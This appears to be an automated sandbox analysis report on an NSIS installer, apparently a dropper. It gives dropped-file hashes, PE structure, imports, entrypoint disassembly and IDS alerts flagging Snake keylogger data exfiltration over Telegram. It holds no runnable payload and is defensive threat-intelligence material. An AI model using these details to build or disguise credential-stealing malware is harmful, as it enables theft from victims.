SHA-512:	969C0DB048EAC4A9B447A0C0C463A7983F1B4091B6206E274B9D249F8311439B6C33F5AA1EDF9CD1AA27502DA49378D3E1B45F16909C55DF830E51684E9648BE
Malicious:	false
Reputation:	low
Preview:	pandas omflakkendes tribrachic miskenning.nonvitally subcase syvendelens weighin.tilhreres lysed metencephalons aabentstaaendes arbejdsmarkedsstyrelsers.kodeskrifter indgaaet nstnederst desulphurise badevgtene caliche.reabsorption erhvervskommunernes aktuarerne ammunition whilere sughs.tusindaarigt barkers landholders butylation phrenicocolic.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

Download File

Process:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
File Type:	Matlab v4 mat-file (little endian) ', numeric, rows 63, columns 0
Category:	dropped
Size (bytes):	210366
Entropy (8bit):	1.240975322465592
Encrypted:	false
SSDEEP:	768:vBTwJOLxCIF0V6iLboHog6BQlsMqlN1R0pmGy30wbfq6+9GmlsNh34k0uJ/QohER:cJigyyDJnLH7zA
MD5:	AEF78D8D561E8802286A78AAC6C73ED6
SHA1:	DDF5DA649482D0A553802827BB9F0EF64A7069E1
SHA-256:	45F24543C01C9A11CC2246A9B27569AF433EEF61C877A4E191B683315D3566BE
SHA-512:	93D43C0CECADF8E1F507F8E58D2B4D92995D8F7ECF213A23559938B380033A6D0D80B0816A8D6603864F821F4FEDC988E0F79BE14C6892089178970E08DC4199
Malicious:	false
Reputation:	low
Preview:	....?...........*=..'...........................m........................y............................................................................H.......................................c.......x........................................................:...s.......................+.........................................~.....2........C..Z...................................k............................i.........................................{...............................................?%............................................................................Z................................v.............<.....'.............L..........................................+...............................s.........................................W........................`........................[..............&..................T................................j......M......[.....................c.............................................9.......................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\wildwestfilm.sto

Download File

Process:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
File Type:	data
Category:	dropped
Size (bytes):	363811
Entropy (8bit):	1.2512349423386382
Encrypted:	false
SSDEEP:	768:y2f405GRYtnSLOBbyCociR2TVuEpHsVURGxwGmXjyMB+CtKDOgt9rlHF1QOs+9m5:pIuagbnK7CwVwFpYogwhUsvCq
MD5:	BFEA15C03AB295424981A73637A19491
SHA1:	A5ADABDDC373D6B3004F96946D84B651E42D9F5C
SHA-256:	83E9CE74259889DCABD39D41131F286882B224698DCDEB8D0B4074069AAA687B
SHA-512:	CB5969BFFAED8AF1791938E924E0CC9F876E45165F4E7EA5E9249131FACA831C0600F14BD68EF041D18C81A3FBE087970043D1B3B8A6786C1E5E5049834D4D0D
Malicious:	false
Preview:	...................................................E....................................j.A..(.......................................+..........................$.............................................z.L........%......t...................................2l.............1.............................................................................U...g.......................`............................................................0..................................J......................................K...R...............................................................&...c......................................S......!...8..................Y......................................................>u........T...................L........................................................................0.........................................W.....L.n.....................................$.b...........B..................................................8...............!...............

C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PURCHASE ORDER TRC-090971819130-24_pdf.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE 750013-1012449943-81347-pdf.exe, Detection: malicious, Browse Filename: PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: RFQ December-January Forcast and TCL.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: PURCHASE ORDER TRC-0909718-24_pdf.exe, Detection: malicious, Browse Filename: SWIFT091816-24_pdf.exe, Detection: malicious, Browse Filename: REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe, Detection: malicious, Browse Filename: SWIFT09181-24_pdf.exe, Detection: malicious, Browse Filename: O0rhQM49FL.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Download File

Process:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	3.243517107466583
Encrypted:	false
SSDEEP:	12:8wl0IsXyEKW2je/tz0/CSL6/cBnwgXl341DEDeG41DED0MsQ1olfW+kjcmAahwbn:8HlKPjeWLrFPjPI4izZMWJpqy
MD5:	4E09F5DB5EB2E6D5C23DB2EDAB5B1012
SHA1:	9A69B01C329E9F7F2177F570B331DFB27265B1E9
SHA-256:	FF83A11BEC2485FC24A0D8C76FD9A1477FE91B755557DBD553B0719C87ECF56B
SHA-512:	C6ABFBD534F32F05DCBD56241C95FC4A7352AB44ED639DEA79897CBFFA0A4A5F603CA352CD51AFED3A078FFA6ED38FB5862D6F5F9EEB6EF3DC11B044D178EBBA
Malicious:	false
Preview:	L..................F........................................................k....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....N.1...........user..:............................................t.i.n.a.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.1...........mindevrdigt.H............................................m.i.n.d.e.v.r.d.i.g.t.......2...........boghandlermedhjlperens.tor..f............................................b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r...*.../.....\.....\.....\.m.i.n.d.e.v.r.d.i.g.t.\.b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r.N.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.r.a.p.i.d.i.t.e.t.e.n.s.\.f.r.e.m.t.v.i.n.g.............w.............>.e.L.:..er.=w........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.9579000021212085
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	m0CZ8H4jfl.exe
File size:	432'979 bytes
MD5:	ad29d6168abbec988896c57d4d25e2ed
SHA1:	469b06a2d18997abeb8829bd6e495cdfee811270
SHA256:	d279cafd050cd071af764df4cc856e9e188ce0c920d13429a3b33129c7e4cee2
SHA512:	5b5c702fc4d24dc03e46f5238969d7f6010d1298a928cc6dcdbfedf69cc8440e53480ddbac57deef9d100499f97d18b55f895770bb916a5f29a6770594041468
SSDEEP:	12288:I5AeDyYI91QcLmn1XNu7Jj1JK8s5FEeKJ:ZebIEXNu7Jj1Jices
TLSH:	D79422116220D593E1FA4E364E70A3DF997ABB1695205F17C3C829963C376C3E81FA4E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007F0F091A14D3h
push ebp
call 00007F0F091A4616h
cmp eax, ebp
je 00007F0F091A14C9h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007F0F091A4593h
push 0040A2ECh
call 00007F0F091A4589h
push 0040A2E0h
call 00007F0F091A457Fh
push 00000009h
call 00007F0F091A45E4h
push 00000007h
call 00007F0F091A45DDh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007F0F091A41CAh
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007F0F091A41B8h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x11e0	0x1200	20639f4e7c421f5379e2fb9ea4a1530d	False	0.3684895833333333	data	4.485045860065118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5d268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5d5d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
RT_DIALOG	0x5d8b8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5da00	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5db40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5dc40	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5dd60	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5de28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5de88	0x14	data	English	United States	1.2
RT_MANIFEST	0x5dea0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:56:18.646039+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49973	142.250.185.110	443	TCP
2025-01-10T19:56:23.891367+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49975	193.122.6.168	80	TCP
2025-01-10T19:56:30.891377+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49975	193.122.6.168	80	TCP
2025-01-10T19:56:31.807597+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49978	149.154.167.220	443	TCP
2025-01-10T19:56:32.177767+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49978	149.154.167.220	443	TCP
2025-01-10T19:56:33.032027+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49979	193.122.6.168	80	TCP
2025-01-10T19:56:33.618945+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49980	149.154.167.220	443	TCP
2025-01-10T19:56:33.861648+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49980	149.154.167.220	443	TCP
2025-01-10T19:56:35.330479+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49982	149.154.167.220	443	TCP
2025-01-10T19:56:35.693207+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49982	149.154.167.220	443	TCP
2025-01-10T19:56:36.964352+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49984	149.154.167.220	443	TCP
2025-01-10T19:56:37.490510+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49984	149.154.167.220	443	TCP
2025-01-10T19:56:39.028995+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49986	149.154.167.220	443	TCP
2025-01-10T19:56:39.489661+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49986	149.154.167.220	443	TCP
2025-01-10T19:56:40.972524+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49988	149.154.167.220	443	TCP
2025-01-10T19:56:41.456118+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49988	149.154.167.220	443	TCP
2025-01-10T19:56:42.787510+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49990	149.154.167.220	443	TCP
2025-01-10T19:56:43.133611+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49990	149.154.167.220	443	TCP
2025-01-10T19:56:44.379360+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49992	149.154.167.220	443	TCP
2025-01-10T19:56:44.714361+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49992	149.154.167.220	443	TCP
2025-01-10T19:56:46.219496+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49994	149.154.167.220	443	TCP
2025-01-10T19:56:46.560662+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49994	149.154.167.220	443	TCP
2025-01-10T19:56:47.844249+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49996	149.154.167.220	443	TCP
2025-01-10T19:56:48.242610+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49996	149.154.167.220	443	TCP
2025-01-10T19:56:49.523005+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49998	149.154.167.220	443	TCP
2025-01-10T19:56:50.101630+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49998	149.154.167.220	443	TCP
2025-01-10T19:56:51.474015+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50000	149.154.167.220	443	TCP
2025-01-10T19:56:52.036258+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50000	149.154.167.220	443	TCP
2025-01-10T19:56:53.341257+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50002	149.154.167.220	443	TCP
2025-01-10T19:56:53.769670+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50002	149.154.167.220	443	TCP
2025-01-10T19:56:55.067585+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50004	149.154.167.220	443	TCP
2025-01-10T19:56:55.394028+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50004	149.154.167.220	443	TCP
2025-01-10T19:56:56.718469+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50006	149.154.167.220	443	TCP
2025-01-10T19:56:57.036409+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50006	149.154.167.220	443	TCP
2025-01-10T19:56:58.352507+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50008	149.154.167.220	443	TCP
2025-01-10T19:56:58.782032+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50008	149.154.167.220	443	TCP
2025-01-10T19:57:00.088414+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50010	149.154.167.220	443	TCP
2025-01-10T19:57:00.408259+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50010	149.154.167.220	443	TCP
2025-01-10T19:57:01.883437+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50012	149.154.167.220	443	TCP
2025-01-10T19:57:02.211258+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50012	149.154.167.220	443	TCP
2025-01-10T19:57:03.527252+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T19:57:03.848515+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T19:57:05.151965+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50016	149.154.167.220	443	TCP
2025-01-10T19:57:05.506662+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50016	149.154.167.220	443	TCP
2025-01-10T19:57:06.936842+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50018	149.154.167.220	443	TCP
2025-01-10T19:57:07.300338+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50018	149.154.167.220	443	TCP
2025-01-10T19:57:08.567100+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50020	149.154.167.220	443	TCP
2025-01-10T19:57:09.117249+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50020	149.154.167.220	443	TCP
2025-01-10T19:57:10.433174+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T19:57:10.850360+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T19:57:12.362356+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T19:57:12.700886+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T19:57:14.069016+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T19:57:14.362942+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T19:57:15.709271+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T19:57:16.226507+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T19:57:17.521702+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T19:57:17.839667+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T19:57:19.212304+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T19:57:19.456246+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T19:57:20.936355+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T19:57:21.448036+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T19:57:23.096862+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T19:57:23.378003+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T19:57:24.780435+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T19:57:25.113171+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T19:57:26.774780+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T19:57:26.997515+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T19:57:29.270759+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T19:57:29.619187+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T19:57:31.445917+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T19:57:31.750008+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T19:57:33.309516+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50046	149.154.167.220	443	TCP
2025-01-10T19:57:33.598481+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50046	149.154.167.220	443	TCP
2025-01-10T19:57:39.436070+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50048	149.154.167.220	443	TCP
2025-01-10T19:57:39.793053+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50048	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:56:17.507174969 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:17.507220984 CET	443	49973	142.250.185.110	192.168.2.9
Jan 10, 2025 19:56:17.507333994 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:17.521965027 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:17.522003889 CET	443	49973	142.250.185.110	192.168.2.9
Jan 10, 2025 19:56:18.177457094 CET	443	49973	142.250.185.110	192.168.2.9
Jan 10, 2025 19:56:18.177598000 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:18.178266048 CET	443	49973	142.250.185.110	192.168.2.9
Jan 10, 2025 19:56:18.179097891 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:18.236407042 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:18.236443043 CET	443	49973	142.250.185.110	192.168.2.9
Jan 10, 2025 19:56:18.236747980 CET	443	49973	142.250.185.110	192.168.2.9
